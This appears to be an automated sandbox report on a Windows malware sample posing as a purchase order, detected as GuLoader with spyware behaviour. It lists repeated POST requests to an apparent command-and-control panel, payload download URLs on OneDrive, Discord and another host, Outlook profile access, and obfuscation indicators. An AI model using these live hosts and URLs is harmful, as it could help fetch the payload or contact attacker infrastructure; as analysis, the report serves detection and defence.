Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: unknown DNS traffic detected: queries for: onedrive.live.com
Source: unknown HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 192Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 07:49:25 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeContent-Length: 15Content-Type: text/htmlData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: PO-A2174679-06.exe, 0000000B.00000002.501778520.0000000000A67000.00000004.00000020.sdmp String found in binary or memory: http://accessasia.com.hk/ovation/five/fre.php
Source: PO-A2174679-06.exe, 0000000B.00000003.460675918.0000000000AAE000.00000004.00000001.sdmp String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: PO-A2174679-06.exe, 0000000B.00000003.460675918.0000000000AAE000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.digicert.com0:
Source: PO-A2174679-06.exe, 0000000B.00000003.460675918.0000000000AAE000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.msocsp.com0
Source: PO-A2174679-06.exe, 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp String found in binary or memory: http://sinatrasmob.com/pro/ovation_byHOXsph232.bin
Source: PO-A2174679-06.exe, 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/813514912135380996/813514973141532722/ovation_byHOXsph232.bin
Source: PO-A2174679-06.exe, 0000000B.00000002.501746377.0000000000A27000.00000004.00000020.sdmp String found in binary or memory: https://hrf0ga.bn.files.1drv.com/
Source: PO-A2174679-06.exe, 0000000B.00000002.501855027.0000000000A83000.00000004.00000020.sdmp, PO-A2174679-06.exe, 0000000B.00000002.501778520.0000000000A67000.00000004.00000020.sdmp String found in binary or memory: https://hrf0ga.bn.files.1drv.com/y4m5zM3NcSoKRZxp1cr4njUjeP9hX2vmu4HSL4nnw0taslILmJBULwQ1DfMXTHzg-Rs
Source: PO-A2174679-06.exe, 0000000B.00000002.501746377.0000000000A27000.00000004.00000020.sdmp String found in binary or memory: https://onedrive.live.com/
Source: PO-A2174679-06.exe, 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp String found in binary or memory: https://onedrive.live.com/download?cid=B1076D30E2A6430F&resid=B1076D30E2A6430F%21110&authkey=AO3GCQa
Source: PO-A2174679-06.exe, 0000000B.00000002.501746377.0000000000A27000.00000004.00000020.sdmp String found in binary or memory: https://onedrive.live.com/n

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: PO-A2174679-06.exe, 00000000.00000002.346109535.000000000073A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

barindex
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process Stats: CPU usage > 98%
Contains functionality to call native functions
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0699 EnumWindows,NtSetInformationThread, 0_2_02BC0699
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC4291 NtSetInformationThread,LdrInitializeThunk, 0_2_02BC4291
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC81F3 NtResumeThread, 0_2_02BC81F3
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC7B36 NtProtectVirtualMemory, 0_2_02BC7B36
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC570F NtSetInformationThread, 0_2_02BC570F
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0977 NtWriteVirtualMemory,TerminateProcess,LdrInitializeThunk,LoadLibraryA, 0_2_02BC0977
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6F5E NtWriteVirtualMemory, 0_2_02BC6F5E
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC1AB6 NtSetInformationThread, 0_2_02BC1AB6
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC829E NtResumeThread, 0_2_02BC829E
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC72EF NtWriteVirtualMemory, 0_2_02BC72EF
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC84C5 NtResumeThread, 0_2_02BC84C5
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC083A NtSetInformationThread, 0_2_02BC083A
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC1A7F NtSetInformationThread, 0_2_02BC1A7F
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC446A NtSetInformationThread,NtWriteVirtualMemory, 0_2_02BC446A
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC8664 NtWriteVirtualMemory, 0_2_02BC8664
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC2DFD NtWriteVirtualMemory, 0_2_02BC2DFD
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6D2D NtSetInformationThread, 0_2_02BC6D2D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3105 NtWriteVirtualMemory, 0_2_02BC3105
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6F06 NtWriteVirtualMemory, 0_2_02BC6F06
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC4307 NtSetInformationThread,NtWriteVirtualMemory,LdrInitializeThunk, 0_2_02BC4307
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC077C NtSetInformationThread, 0_2_02BC077C
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC2F6F NtWriteVirtualMemory, 0_2_02BC2F6F
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC8554 NtResumeThread, 0_2_02BC8554
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC8150 NtResumeThread, 0_2_02BC8150
Detected potential crypto function
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0977 0_2_02BC0977
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB2165 11_3_00AB2165
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB084D 11_3_00AB084D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB794D 11_3_00AB794D
PE file contains strange resources
Source: PO-A2174679-06.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Sample file is different than original file name gathered from version info
Source: PO-A2174679-06.exe, 00000000.00000002.346228693.00000000021F0000.00000002.00000001.sdmp Binary or memory string: OriginalFilenameuser32j% vs PO-A2174679-06.exe
Source: PO-A2174679-06.exe, 00000000.00000000.231740123.0000000000414000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameyappingextr.exe vs PO-A2174679-06.exe
Source: PO-A2174679-06.exe, 0000000B.00000002.502209088.0000000002440000.00000002.00000001.sdmp Binary or memory string: OriginalFilenamemswsock.dll.muij% vs PO-A2174679-06.exe
Source: PO-A2174679-06.exe, 0000000B.00000000.344741544.0000000000414000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameyappingextr.exe vs PO-A2174679-06.exe
Source: PO-A2174679-06.exe, 0000000B.00000002.502225382.0000000002490000.00000002.00000001.sdmp Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs PO-A2174679-06.exe
Source: PO-A2174679-06.exe Binary or memory string: OriginalFilenameyappingextr.exe vs PO-A2174679-06.exe
Uses 32bit PE files
Source: PO-A2174679-06.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@3/2@43/1
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File created: C:\Users\user\AppData\Local\Temp\~DF584B63FBA4AD36AE.TMP Jump to behavior
Source: PO-A2174679-06.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: PO-A2174679-06.exe Virustotal: Detection: 16%
Source: unknown Process created: C:\Users\user\Desktop\PO-A2174679-06.exe 'C:\Users\user\Desktop\PO-A2174679-06.exe'
Source: unknown Process created: C:\Users\user\Desktop\PO-A2174679-06.exe 'C:\Users\user\Desktop\PO-A2174679-06.exe'
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process created: C:\Users\user\Desktop\PO-A2174679-06.exe 'C:\Users\user\Desktop\PO-A2174679-06.exe' Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 5424, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 6600, type: MEMORY
Yara detected VB6 Downloader Generic
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 5424, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 6600, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_0040DAC0 push dword ptr [ebp-14h]; ret 0_2_0041096D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_00404856 push edi; retf 0_2_00404857
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_00406411 push edx; ret 0_2_00406412
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_004030D6 pushfd ; retf 0_2_004030DD
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_00403096 pushfd ; retf 0_2_0040309D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3C9F pushad ; retf 0_2_02BC3CA2
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3AE6 pushad ; retf 0_2_02BC3AE9
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3AC2 pushad ; retf 0_2_02BC3AC3
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3C38 pushad ; retf 0_2_02BC3C3B
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3C14 pushad ; retf 0_2_02BC3C15
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC5015 pushfd ; retf 0_2_02BC5016
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3A02 pushad ; retf 0_2_02BC3A05
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3C7B pushad ; retf 0_2_02BC3C7C
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3A76 pushad ; retf 0_2_02BC3A79
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3A52 pushad ; retf 0_2_02BC3A53
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3B9F pushad ; retf 0_2_02BC3BA0
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC39DE pushad ; retf 0_2_02BC39DF
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3BC3 pushad ; retf 0_2_02BC3BC6
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3B2B pushad ; retf 0_2_02BC3B2D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC3B50 pushad ; retf 0_2_02BC3B53
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 11_3_00AB818D push ss; ret 11_3_00AB8192
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
